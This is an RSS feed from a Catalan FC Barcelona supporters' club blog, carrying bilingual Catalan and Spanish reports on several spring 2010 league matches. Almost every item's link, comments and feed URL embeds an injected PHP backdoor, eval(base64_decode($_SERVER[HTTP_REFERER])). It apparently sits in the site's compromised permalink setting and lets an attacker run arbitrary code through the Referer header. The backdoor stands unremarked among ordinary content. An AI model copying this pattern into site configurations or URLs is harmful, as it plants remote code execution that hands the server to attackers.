<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;">Xavi es va encarregar d&#8217;engreixar el marcador amb un magistral colpeig de falta. En aquells dies el partit ja s&#8217;havia tenyit de blaugrana, però, per si encara quedaven dubtes, Bojan va fabricar el tercer de la nit amb una autopassada i una perfecta definició que acrediten la seva classe. El 0-3 va deixar molt tocat el Vila-real, que només va ser capaç de maquillar el resultat amb un bon gol de Joseba Llorente, tot i que Messi va posar el 1-4 amb el partit pràcticament acabat. El duel Món Diego López-Valdés el va guanyar el segon per motius obvis.</span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;">El <em><strong>Barça</strong></em> començava a donar la sensació que els de Guardiola necessiten prendre&#8217;s un descans, encara que no sense abans rematar una Lliga en què han demostrat (de lluny) ser molt superiors al Real Madrid en el seu doble enfrontament amb els blancs.</span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span style="mso-ansi-language: ES;"><span style="font-size: small;"><span style="font-family: Times New Roman;"> </span></span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span style="font-family: Times New Roman;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 20pt; mso-ansi-language: ES;">VILLARREAL 1 – 4 BARCELONA</span></strong><span style="font-size: 14pt; mso-ansi-language: ES;"></span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-family: Times New Roman;"><span style="font-size: 18pt; mso-bidi-font-size: 14.0pt; mso-ansi-language: ES;"><em><strong>Contundente victoria del líder en El Madrigal que demuestra su recuperación tras el palo</strong></em></span><span style="font-size: 14pt; mso-ansi-language: ES;">. </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;"> </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;">Prueba superada, dudas despejadas y debate cerrado. El Madrigal, un campo hostil y donde el Villarreal sumaba seis victorias consecutivas, medía el estado de ánimo del <em><strong>Barcelona</strong></em> tras quedar eliminado de la Champions. Los de Guardiola necesitaban rehabilitarse anímicamente con urgencia para encarar la recta final de la Liga.</span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;">Un título que ya debían haber sentenciado y que ahora necesitan para justificar una temporada que de lo contrario acabaría con sabor amargo. El campeón no falló. Ganó con suficiencia y sin necesidad de exhibirse, como si se quisiera dosificar.</span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;">La primera sorpresa de la noche fue la suplencia de Ibrahimovic. Guardiola había defendido públicamente al sueco tras su pésimo partido ante el Inter, pero anoche le dejó en el banquillo. Bojan ocupó su lugar y el <em><strong>Barcelona</strong></em> ganó en movilidad. También fue titular Xavi, comprometido como nadie pese a arrastrar molestias e imprescindible en ausencia de Iniesta. Aunque una victoria del Villarreal favorecía los intereses del Real Madrid, los amarillos necesitaban ganar por beneficio propio.</span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;">A diferencia del Inter, el Villarreal sí quiere el balón. Al igual que el <em><strong>Barcelona</strong></em>, los castellonenses sólo saben expresarse a través de él. La diferencia entre ambas propuestas es que mientras Garrido mantiene la cultura implantada en El Madrigal de jugar al pie, Guardiola ha perfeccionado el fútbol posicional. </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;">Al <em><strong>Barcelona</strong></em> le costó imponerse y llevar la iniciativa. Muchos automatismos, pero poca fluidez. Tuteado en la posesión, el Villarreal hurgaba con descaro en sus dudas iniciales. Nilmar, por dos veces, inquietó a Valdés. Evidentemente, de haber marcado el brasileño el partido podría haber sido muy distinto, pero lo cierto es que quien dio primero fue el <em><strong>Barcelona</strong></em>. En una de sus clásicas combinaciones, Xavi encontró a Messi y el argentino encarriló el partido. Cinco partidos llevaba el argentino sin marcar y su gol tuvo efectos terapéuticos para los de Guardiola. </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;">Xavi se encargó de engordar el marcador con un magistral golpeo de falta. Para entonces el partido ya se había teñido de azulgrana, pero, por si aún quedaban dudas, Bojan fabricó el tercero de la noche con un autopase y una perfecta definición que acreditan su clase. El 0-3 dejó muy tocado al Villarreal, que sólo fue capaz de maquillar el resultado con un buen gol de Joseba Llorente, aunque Messi puso el 1-4 con el partido prácticamente acabado. El duelo Mundialista Diego López-Valdés lo ganó el segundo por motivos obvios.</span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-family: &quot;Times New Roman&quot;; font-size: 14pt; mso-ansi-language: ES; mso-fareast-font-family: 'Times New Roman'; mso-fareast-language: ES; mso-bidi-language: AR-SA;">El <em><strong>Barcelona</strong></em> empezaba a dar la sensación de que los de Guardiola necesitan tomarse un descanso, aunque no sin antes rematar una Liga en la que han demostrado (de lejos) ser muy superiores al Real Madrid en su doble enfrentamiento con los blancos.</span></p>
]]></content:encoded>
			<wfw:commentRss>http://pbcalonge-stantoni.cat/2010/05/02/villarreal-1-4-barca/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>BARÇA 3 - 1 XEREZ</title>
		<link>http://pbcalonge-stantoni.cat/2010/04/25/barca-3-1-xerez/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://pbcalonge-stantoni.cat/2010/04/25/barca-3-1-xerez/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 25 Apr 2010 16:00:49 +0000</pubDate>
		<dc:creator>Lluis</dc:creator>
		
		<category><![CDATA[Penya]]></category>

		<guid isPermaLink="false">http://pbcalonge-stantoni.cat/?p=81</guid>
		<description><![CDATA[Messi i Piqué canvien la cara al partit
Sense que es pugui discutir el resultat, el Barça va passar una mala estona davant el cuer, equip desenfadat i que per moments va creure en una gesta major atemorint fins i tot a un Camp Nou més pendent d&#8217;Europa que del que s&#8217;estava coent a la gespa. [...]]]></description>
			<content:encoded><![CDATA[<p><em>Messi i Piqué canvien la cara al partit</em></p>
<p>Sense que es pugui discutir el resultat, el Barça va passar una mala estona davant el cuer, equip desenfadat i que per moments va creure en una gesta major atemorint fins i tot a un Camp Nou més pendent d&#8217;Europa que del que s&#8217;estava coent a la gespa. Amb tot, el grup de Guardiola omplir el formulari a desgana i després convocar massivament a la parròquia perquè vagi al compromís continental, el darrer peatge abans de la desitjada final del Santiago Bernabéu. Només preocupa el 22 de maig.<br />
Poc acostumat al sol, un horari de berenar desconegut per a gairebé tots, el Barcelona es confio massa i va signar un triomf en estàtic, ja que poques vegades se li ha vist tan immòbil i espès a l&#8217;hora de circular la pilota. Sense que ningú donés un pas endavant, esperant tots la pilota als peus, va ser Jeffren qual es va saltar el guió per animar una mica la vetllada. Va camí de convertir-se en un altre Pedrito aquest planter, resolutiu i golejador sempre que té opcions com la d&#8217;ahir. Es la va concedir Guardiola perquè davant el Xerez va ser el partit de les rotacions, mesura obligada per la tornada de la Champions i que fins i tot va permetre a Chygrynskiy tornar al futbol per tornar a generar murmuris. El central, just després que un altre oblidat com Henry retrobés amb el gol, la pífia i la seva pèrdua va permetre a Mario Bermejo fabricar el gol de la tarda, un xut amb la dreta a l&#8217;escaire de Valdés que va donar color al dol.<br />
Irreconeixible el Barça, va ser el Xerez el que va prendre el comandament fins al final del primer acte i l&#8217;inici del segon. Té mèrit això del valent Gorosito, capaç d&#8217;encomanar a un conjunt que es veia en les tenebres i que encara s&#8217;ho creu encara que presenta una estocada amb molt mala pinta. Sense vergonya, va acorralar el Barça i entre Orellana i Bermejo va aparèixer Valdés per salvar els mobles.<br />
Com ho hauria de veure Guardiola que amb prou feines va esperar per moure la banqueta i concedir Messi el protagonisme que rebutjaven altres. Va entrar l&#8217;argentí, va entrar Piqué i encara que només sigui per la seva presència l&#8217;equip andalús va donar un passet cap enrere. Per aquí li va arribar el cop de gràcia en una de les poques aparicions d&#8217;Ibrahimovic, eficient després d&#8217;una bona jugada de Touré Yayá. Resolt el greuge, i aparcada la Lliga abans d&#8217;hora, el tram final es va convertir en un enrenou innecessari amb dos expulsions visitants, trist colofó a un triomf grisenc d&#8217;un líder que només va pensar en l&#8217;Inter.</p>
<p><strong>BARCELONA 3 – 1 XEREZ</strong><br />
<em>Messi y Piqué cambian la cara al partido</em></p>
<p>Sin que se pueda discutir el resultado, el Barcelona pasó un mal rato ante el colista, equipo desenfadado y que por momentos creyó en una gesta mayor atemorizando incluso a un Camp Nou más pendiente de Europa que de lo que se estaba cociendo en el césped. Con todo, el grupo de Guardiola rellenó el formulario a desgana y luego convocó masivamente a la parroquia para que acuda al compromiso continental, último peaje antes de la deseada final del Santiago Bernabéu. Sólo preocupa el 22 de mayo.<br />
Poco acostumbrado al sol, un horario de merienda desconocido para casi todos, el Barcelona se confío demasiado y firmó un triunfo en estático, pues pocas veces se le ha visto tan inmóvil y espeso a la hora de circular el balón. Sin que nadie diera un paso al frente, esperando todos la pelota a los pies, fue Jeffren el que se saltó el guión para animar una pizca la velada. Va camino de convertirse en otro Pedrito este canterano, resolutivo y goleador siempre que tiene opciones como la de ayer. Se la concedió Guardiola porque ante el Xerez fue el partido de las rotaciones, medida obligada por la vuelta de la Champions y que incluso permitió a Chygrynskiy volver al fútbol para volver a generar murmullos. El central, justo después de que otro olvidado como Henry se reencontrara con el gol, la pifió y su pérdida permitió a Mario Bermejo fabricar el tanto de la tarde, un derechazo a la escuadra de Valdés que dio color al duelo.<br />
Irreconocible el Barcelona, fue el Xerez el que tomó el mando hasta el final del primer acto y el inicio del segundo. Tiene mérito lo del valiente Gorosito, capaz de contagiar a un conjunto que se veía en las tinieblas y que todavía se lo cree aunque presenta una estocada con muy mala pinta. Sin vergüenza, acorraló al Barcelona y entre Orellana y Bermejo apareció Valdés para salvar los muebles.<br />
Cómo lo tendría que ver Guardiola que apenas esperó para mover el banquillo y concederle a Messi el protagonismo que rechazaban otros. Entró el argentino, entró Piqué y aunque sólo sea por su presencia el equipo andaluz dio un pasito hacia atrás. Por ahí le llegó la puntilla en una de las pocas apariciones de Ibrahimovic, eficiente después de una buena jugada de Touré Yayá. Resuelto el entuerto, y aparcada la Liga antes de tiempo, el tramo final se convirtió en un barullo innecesario con dos expulsiones visitantes, triste colofón a un triunfo grisáceo de un líder que sólo pensó en el Inter.</p>
]]></content:encoded>
			<wfw:commentRss>http://pbcalonge-stantoni.cat/2010/04/25/barca-3-1-xerez/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>BARÇA 0 - 0 ESPANYOL</title>
		<link>http://pbcalonge-stantoni.cat/2010/04/18/barca-0-0-espanyol/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://pbcalonge-stantoni.cat/2010/04/18/barca-0-0-espanyol/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 18 Apr 2010 10:44:46 +0000</pubDate>
		<dc:creator>Lluis</dc:creator>
		
		<category><![CDATA[Penya]]></category>

		<guid isPermaLink="false">http://pbcalonge-stantoni.cat/?p=80</guid>
		<description><![CDATA[ 

Jugador número 13 de l&#8217;Espanyol
 
L&#8217;Espanyol no ha desaprofitat l&#8217;oportunitat de convertir Cornellà-el Prat en una mena de Bombonera, on la grada prem i l&#8217;equip ofega. Més de 600 minuts sense encaixar un gol sumen i als periquitos en la seva nova casa, on a més han estat capaços de neutralitzar el Barça menys incisiu de [...]]]></description>
			<content:encoded><![CDATA[<p> </p>
<p><span style="font-family: Tahoma; font-size: 16pt; mso-bidi-font-size: 12.0pt;"></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-family: Tahoma; font-size: 16pt; mso-bidi-font-size: 12.0pt;"><em><strong>Jugador número 13 de l&#8217;Espanyol</strong></em></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-family: Tahoma; font-size: 14pt; mso-bidi-font-size: 12.0pt;"> </span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-family: Tahoma; font-size: 14pt; mso-bidi-font-size: 12.0pt;">L&#8217;Espanyol no ha desaprofitat l&#8217;oportunitat de convertir Cornellà-el Prat en una mena de Bombonera, on la grada prem i l&#8217;equip ofega. Més de 600 minuts sense encaixar un gol sumen i als periquitos en la seva nova casa, on a més han estat capaços de neutralitzar el <em><strong>Barça</strong></em> menys incisiu de la temporada i pispat dos punts que tornen a reanimar la Lliga. </span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-family: Tahoma; font-size: 14pt; mso-bidi-font-size: 12.0pt;">El primer derbi a Cornellà, i el primer també fora dels límits urbanístics de Barcelona, va ser més trepidant que brillant. El partit de l&#8217;any per a l&#8217;Espanyol, segons Guardiola, també ho era per al Madrid. Els blanc i blaus necessitaven guanyar per si mateixos, ja que la victòria els posava a la frontera de la salvació, però també podien ajudar-lo als blancs. Al final, es van quedar a mitges. El <em><strong>Barça</strong></em> suma un punt que li permet seguir, si més no, un per davant del Madrid, i l&#8217;Espanyol encara haurà recollir un parell d&#8217;ells més per certificar la permanència. </span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-family: Tahoma; font-size: 14pt; mso-bidi-font-size: 12.0pt;">Amb l&#8217;Inter a l&#8217;agenda, però la Lliga sense sentenciar, Guardiola va repetir l&#8217;experiment del Bernabéu, encara que en la seva versió corregida. És a dir, amb Puyol al lateral esquerre i Maxwell en la línia més atacant. Per la seva banda, l&#8217;Espanyol es va capbussar en el partit sense esperar que el <em><strong>Barça</strong></em> es desplegarà posicionalment. Màxima intensitat en la pressió, amb marques molt agressives que incomodaven la sortida de la pilota dels centrals i, sobretot, impedien Xavi connectar amb els puntes. El fet que per moments els periquitos li discutissin la possessió va provocar que el <em><strong>Barça</strong></em> es sentís estrany. Això de no tenir la pilota va ser una cosa transitòria, però del que va mancar permanentment l&#8217;equip de Guardiola va ser de enganxada. </span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-family: Tahoma; font-size: 14pt; mso-bidi-font-size: 12.0pt;">El plantejament de Pochettino va fer efecte, encara que l&#8217;argentí li va faltar cintura i ambició quan el <em><strong>Barça</strong></em> es va quedar amb un menys per l&#8217;expulsió d&#8217;Alves. Amb Forlín en substitució de Moisès en el doble pivot per tapar Messi i ajudar a Baena a no deixar maniobrar a Xavi. Amnistiat per Competició, Kameni només va haver de deixar-se veure en tota la primera part-extensible després de la segona-, cosa que també estava succeint amb Valdés fins que a pocs segons del arribar al descans, el porter del <em><strong>Barça</strong></em> va evitar un gol a remat de Osvaldo i amb ajuda del pal. Si fos per mèrits, és evident que el porter blaugrana hauria d&#8217;anar al Mundial i, fins i tot, discutir la titularitat a Casillas. Però sabut és que en una selecció no sempre hi ha els que són, sinó que són els que estan. </span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-family: Tahoma; font-size: 14pt; mso-bidi-font-size: 12.0pt;">Una vegada més, Guardiola es veia obligat a afinar les cordes. El <em><strong>Barça</strong></em> sonava estrany, en part perquè l&#8217;Espanyol li feia desafinar en la combinació, però també perquè donava la sensació que alguna peça no estava prou ajustada. A més, en absència de l&#8217;habitual rigor col.lectiu, ni tan sols Messi era capaç de transcendir per resultar decisiu. </span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-family: Tahoma; font-size: 14pt; mso-bidi-font-size: 12.0pt;">L&#8217;entrada d&#8217;Henry (intranscendent) per Milito va tornar a Puyol al lloc de central i va endarrerir a Maxwell al lateral. Però va arribar l&#8217;expulsió d&#8217;Alves i Guardiola de nou va haver de introduir reajustaments. Puyol al lateral dret i Busquets de central. El <em><strong>Barça</strong></em> no va notar la inferioritat i va jugar els seus millors minuts, encara que sense opcions de gol, a part del penal a Messi que l&#8217;àrbitre no va voler cobrar. Si a això s&#8217;hi suma que l&#8217;Espanyol va mancar d&#8217;ambició per buscar la victòria, el 0-0 va ser inevitable.</span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-family: Tahoma; font-size: 14pt; mso-bidi-font-size: 12.0pt;"> </span></p>
<h3 style="margin: 0cm 0cm 0pt;"><span style="font-size: large;">ESPANYOL 0 – 0 BARCELONA</span></h3>
<h4 style="margin: 0cm 0cm 0pt;">Undiano Mallenco jugador número 13 del Espanyol</h4>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-family: Tahoma; font-size: 14pt; mso-bidi-font-size: 12.0pt;"> </span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-family: Tahoma; font-size: 14pt; mso-bidi-font-size: 12.0pt;">El Espanyol no ha desperdiciado la oportunidad de convertir Cornellà-El Prat en una especie de Bombonera, donde la grada aprieta y el equipo ahoga. Más de 600 minutos sin encajar un gol suman ya los pericos en su nueva casa, donde además han sido capaces de neutralizar al <em><strong>Barcelona</strong></em> menos incisivo de la temporada y birlarle dos puntos que vuelven a reanimar la Liga.</span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-family: Tahoma; font-size: 14pt; mso-bidi-font-size: 12.0pt;">El primer derbi en Cornellà, y el primero también fuera de los límites urbanísticos de Barcelona, fue más trepidante que brillante. El partido del año para el Espanyol, según Guardiola, también lo era para el Madrid. Los blanquiazules necesitaban ganar por sí mismos, pues la victoria les colocaba en la frontera de la salvación, pero también podían echarle una mano a los blancos. Al final, se quedaron a medias. El <em><strong>Barcelona</strong></em> suma un punto que le permite seguir, cuando menos, uno por delante del Madrid, y el Espanyol aún deberá recolectar un par de ellos más para certificar la permanencia.</span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-family: Tahoma; font-size: 14pt; mso-bidi-font-size: 12.0pt;">Con el Inter en la agenda, pero la Liga sin sentenciar, Guardiola repitió el experimento del Bernabéu, aunque en su versión corregida. Es decir, con Puyol en el lateral izquierdo y Maxwell en la línea más atacante. Por su parte, el Espanyol se zambulló en el partido sin esperar a que el <em><strong>Barcelona</strong></em> se desplegara posicionalmente. Máxima intensidad en la presión, con marcas muy agresivas que incomodaban la salida del balón de los centrales y, sobre todo, impedían a Xavi conectar con los puntas. El hecho de que por momentos los pericos le discutieran la posesión provocó que el <em><strong>Barcelona</strong></em> se sintiera extraño. Lo de no tener el balón fue algo transitorio, pero de lo que careció permanentemente el equipo de Guardiola fue de pegada.</span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-family: Tahoma; font-size: 14pt; mso-bidi-font-size: 12.0pt;">El planteamiento de Pochettino surtió efecto, aunque al argentino le faltó cintura y ambición cuando el <em><strong>Barcelona</strong></em> se quedó con uno menos por la expulsión de Alves. Con Forlín en sustitución de Moisés en el doble pivote para tapar a Messi y ayudar a Baena a no dejar maniobrar a Xavi. Amnistiado por Competición, Kameni apenas tuvo que dejarse ver en toda la primera parte -extensible después de la segunda-, algo que también estaba sucediendo con Valdés hasta que a escasos segundos del alcanzar el descanso, el portero del <em><strong>Barcelona</strong></em> evitó un gol a remate de Osvaldo y con ayuda del palo. Si fuera por méritos, es evidente que el portero azulgrana debería ir al Mundial e, incluso, discutirle la titularidad a Casillas. Pero sabido es que en una selección no siempre están los que son, sino que son los que están.</span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-family: Tahoma; font-size: 14pt; mso-bidi-font-size: 12.0pt;">Una vez más, Guardiola se veía obligado a afinar las cuerdas. El <em><strong>Barcelona</strong></em> sonaba raro, en parte porque el Espanyol le hacía desafinar en la combinación, pero también porque daba la sensación de que alguna pieza no estaba lo suficientemente ajustada. Además, en ausencia del habitual rigor colectivo, ni siquiera Messi era capaz de trascender para resultar decisivo. </span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-family: Tahoma; font-size: 14pt; mso-bidi-font-size: 12.0pt;">La entrada de Henry (intrascendente) por Milito devolvio a Puyol al puesto de central y retrasó a Maxwell al lateral. Pero llegó la expulsión de Alves y Guardiola otra vez tuvo que introducir reajustes. Puyol al lateral derecho y Busquets de central. El <em><strong>Barcelona</strong></em> no notó la inferioridad y jugó sus mejores minutos, aunque sin opsiones de gol, a parte del penal a Messi que el arbitro no quiso cobrar. Si a ello se suma que el Espanyol careció de ambición para buscar la victoria, el 0-0 fue inevitable.</span></p>
<p></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"> </p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"> </p>
]]></content:encoded>
			<wfw:commentRss>http://pbcalonge-stantoni.cat/2010/04/18/barca-0-0-espanyol/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>BARÇA 3 - 0 DEPOR</title>
		<link>http://pbcalonge-stantoni.cat/2010/04/15/barca-3-0-depor/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://pbcalonge-stantoni.cat/2010/04/15/barca-3-0-depor/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 15 Apr 2010 18:09:19 +0000</pubDate>
		<dc:creator>Lluis</dc:creator>
		
		<category><![CDATA[Penya]]></category>

		<guid isPermaLink="false">http://pbcalonge-stantoni.cat/?p=79</guid>
		<description><![CDATA[Amb pas ferm i segur
Xavi va sentenciar el clàssic amb dos passades de tiralínies i ahir a la nit va obrir el marcador davant el Depor amb una altra assistència genial que Bojan, contagiat, va transformar en gol amb l&#8217;exterior. Amb Xavi de tiralínies i el Barça dibuixant el seu futbol amb esquadra i cartabó, [...]]]></description>
			<content:encoded><![CDATA[<h1 style="MARGIN: 0cm 0cm 0pt"><span style="font-family: Times New Roman; font-size: large;">Amb pas ferm i segur</span></h1>
<p class="MsoBodyText" style="MARGIN: 0cm 0cm 0pt"><span style="font-family: Times New Roman; font-size: large;">Xavi va sentenciar el clàssic amb dos passades de tiralínies i ahir a la nit va obrir el marcador davant el Depor amb una altra assistència genial que Bojan, contagiat, va transformar en gol amb l&#8217;exterior. Amb Xavi de tiralínies i el Barça dibuixant el seu futbol amb esquadra i cartabó, el Depor poc o res va saber fer. Sobretot perquè quan semblava oposar resistència al futbol posicional dels de Guardiola, aquí estava Messi per gargotejar la pissarra amb els seus con-cions impossibles o Pere per marcar un golàs des gairebé el centre del camp després d&#8217;una jugada d&#8217;atac iniciada per Valdés amb un gran servei a llarg. L&#8217;efecte tiralínies. </span></p>
<p class="MsoNormal" style="TEXT-ALIGN: justify; MARGIN: 0cm 0cm 0pt"><span style="FONT-SIZE: 14pt; mso-bidi-font-size: 12.0pt"><span style="font-family: Times New Roman;">Xavi va tornar a exercir de tiralínies i una passada seu va valer el primer gol, de Bojan </span></span></p>
<p class="MsoNormal" style="TEXT-ALIGN: justify; MARGIN: 0cm 0cm 0pt"><span style="FONT-SIZE: 14pt; mso-bidi-font-size: 12.0pt"><span style="font-family: Times New Roman;">El Barça té la Lliga guanyada, tot i que matemàticament encara poden perdre-la. La seva solvent victòria al Bernabéu va demostrar que és el millor, però per ser campió encara ha de demostrar que també és el més regular. No li falta raó a Guardiola quan diu que l&#8217;avantatge amb el Madrid és ridícula, ja que els blancs ja han demostrat que estan capacitats per guanyar els set partits que li resten. Per això Guardiola no es fia i el seu missatge segueix sent el mateix. Si es relaxen, el Madrid els va agafar. El ajustat del resultat de ahir a la nit li va valer als blaugrana per mantenir-alerta, encara que tampoc el Depor inquietar en excés. </span></span></p>
<p class="MsoNormal" style="TEXT-ALIGN: justify; MARGIN: 0cm 0cm 0pt"><span style="FONT-SIZE: 14pt; mso-bidi-font-size: 12.0pt"><span style="font-family: Times New Roman;">Per si al Barça li faltaven estímuls, als gallecs no se&#8217;ls va ocórrer res més que vestir completament de blanc. Com als toros el vermell, al Barça li atrau el blanc, per això el Depor acabés sent envestit. Un quart d&#8217;hora va aguantar l&#8217;equip de Lotina amb la seva porteria a zero. No va sorprendre el plantejament del biscaí, llevat que va sortir amb els laterals canviats-Manuel Pau a l&#8217;esquerra i Laure a la dreta-. Mentre, Guardiola va insistir amb la variant de Messi per darrere del punta, en absència de Ibra altra vegada confiat a Bojan, i amb Pedro i Jeffren oberts a banda. Un entramat ofensiu les cordes a manera de titella manejava Xavi, el tiralínies, ben secundat per Touré. </span></span></p>
<p class="MsoNormal" style="TEXT-ALIGN: justify; MARGIN: 0cm 0cm 0pt"><span style="FONT-SIZE: 14pt; mso-bidi-font-size: 12.0pt"><span style="font-family: Times New Roman;">Pere va donar el primer avís a Aranzubía amb un xut al pal, encara que el gol de Bojan no trigaria a arribar. El porter del Depor va desbaratar una ocasió de Jeffren a passada de Messi i una mitjana xilena d&#8217;Alves al travesser va merèixer ser el segon. Però no, el Barça no aconseguia traslladar el marcador la seva aclaparadora superioritat i el partit es va mantenir obert fins que Pere el va tancar amb un golàs. </span></span></p>
<p class="MsoNormal" style="TEXT-ALIGN: justify; MARGIN: 0cm 0cm 0pt"><span style="FONT-SIZE: 14pt; mso-bidi-font-size: 12.0pt"><span style="font-family: Times New Roman;">El Depor s&#8217;ha diluït com un terròs de sucre a l&#8217;aigua amb dos punts dels 21 últims. Guardiola, en la seva habitual estratègia d&#8217;elogiar el rival per debilitar, va dir que el Depor era un os. Sí, un os, però d&#8217;oliva. </span></span></p>
<h4 style="MARGIN: 0cm 0cm 0pt"><span style="text-decoration: underline;"><span style="font-family: Times New Roman; font-size: large;">Fitxa tècnica </span></span></h4>
<p class="MsoNormal" style="TEXT-ALIGN: justify; MARGIN: 0cm 0cm 0pt"><span style="FONT-SIZE: 14pt; mso-bidi-font-size: 12.0pt"><span style="font-family: Times New Roman;">Barça: Valdés; Alves, Márquez, Piqué, Maxwell; Xavi (Sergio Busquets, m. 77), Touré, Pedro, Messi, Jeffren (Keita, m. 50), i Bojan (Henry, m. 74). </span></span></p>
<p class="MsoNormal" style="TEXT-ALIGN: justify; MARGIN: 0cm 0cm 0pt"><span style="font-family: Times New Roman;"><span style="text-decoration: underline;"><span style="FONT-SIZE: 14pt; mso-bidi-font-size: 12.0pt">Depor</span></span><span style="FONT-SIZE: 14pt; mso-bidi-font-size: 12.0pt">: Aranzubía; Laure, Piscu, Lopo, Manuel Pablo, Antonio Tomás, Sergio (Iván Pérez, m. 84); Juan Rodríguez, Pablo Álvarez (Juan Domínguez, m. 53), Saved, i Riki (Lassad, m. 70 ). </span></span></p>
<p class="MsoNormal" style="TEXT-ALIGN: justify; MARGIN: 0cm 0cm 0pt"><span style="font-family: Times New Roman;"><span style="text-decoration: underline;"><span style="FONT-SIZE: 14pt; mso-bidi-font-size: 12.0pt">Gols</span></span><span style="FONT-SIZE: 14pt; mso-bidi-font-size: 12.0pt">: 1-0. M. 15. Passi profund i precís de Xavi a Bojan, que bat a Aranzubía amb l&#8217;exterior de la cama dreta. 2-0. M. 68. Pere aprofita un mal rebuig d&#8217;Aranzubia per marcar amb l&#8217;esquerra gairebé des del centre del camp. 3-0. M. 71. Touré, després controlar possiblement amb el braç, afusella a Aranzubía a la sortida d&#8217;un córner. </span></span></p>
<p class="MsoNormal" style="TEXT-ALIGN: justify; MARGIN: 0cm 0cm 0pt"><span style="font-family: Times New Roman;"><span style="text-decoration: underline;"><span style="FONT-SIZE: 14pt; mso-bidi-font-size: 12.0pt">Àrbitre</span></span><span style="FONT-SIZE: 14pt; mso-bidi-font-size: 12.0pt">: Parades. Va mostrar targeta groga a Lopo, Pablo Álvarez i Manuel Pablo. </span></span></p>
<p class="MsoNormal" style="TEXT-ALIGN: justify; MARGIN: 0cm 0cm 0pt"><span style="font-family: Times New Roman;"><span style="text-decoration: underline;"><span style="FONT-SIZE: 14pt; mso-bidi-font-size: 12.0pt">Camp Nou</span></span><span style="FONT-SIZE: 14pt; mso-bidi-font-size: 12.0pt">: 78.897 espectadors</span></span></p>
<p class="MsoNormal" style="TEXT-ALIGN: justify; MARGIN: 0cm 0cm 0pt"><span style="font-size: small;"><span style="font-family: Times New Roman;"> </span></span></p>
<h2 style="MARGIN: 0cm 0cm 0pt"><span style="font-family: Times New Roman; font-size: x-large;">BARCELONA 3 – 0 DEPORTIVO</span></h2>
<p class="MsoNormal" style="TEXT-ALIGN: justify; MARGIN: 0cm 0cm 0pt"><span style="FONT-SIZE: 14pt; mso-bidi-font-size: 12.0pt"><span style="font-family: Times New Roman;"> </span></span></p>
